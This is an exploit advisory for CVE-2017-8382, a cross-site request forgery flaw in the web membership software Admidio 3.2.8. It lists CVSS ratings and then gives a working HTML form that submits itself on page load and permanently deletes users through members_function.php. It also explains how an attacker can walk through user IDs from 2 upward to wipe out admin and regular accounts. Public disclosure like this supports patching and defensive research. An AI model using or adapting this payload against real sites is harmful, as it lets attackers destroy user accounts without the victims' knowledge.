Admidio 3.2.8 Cross Site Request Forgery

Risk: Medium
Local: No
Remote: Yes
CWE: CWE-352

CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users) # Date: 28/April/2017 # Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website: # Vendor Homepage: # Software Link: # Version: 3.2.8 # Tested on: Windows 10 (Xampp) # CVE : CVE-2017-8382 [Suggested description] Admidio 3.2.8 has CSRF in adm_program/modules/members/members_function.php with an impact of deleting arbitrary user accounts. ------------------------------------------ [Additional Information] Using this crafted html form we are able to delete any user with admin/user privilege. <html> <body onload="javascript:document.forms[0].submit()"> <form action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php"> <input type="hidden" name="usr&#95;id" value='9' /> <input type="hidden" name="mode" value="3" /> </form> </body> </html> [Affected Component] http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Attack Vectors] Steps: 1.) If an user with admin privilege opens a crafted html/JPEG(Image),then both the admin and users with user privilege which are mentioned by the user id (as like shown below) in the crafted request are deleted. <input type="hidden" name="usr&#95;id" value='3' /> 2.) In admidio by default the userid starts from '0', '1' for system '2' for users, so an attacker can start from '2' upto 'n' users. 3.)For deleting the user permanently we select 'mode=3'(as like shown below),then all admin/low privileged users are deleted. <input type="hidden" name="mode" value="3" /> ------------------------------------------ [Reference] Thanks Faiz Ahmed Zaidi

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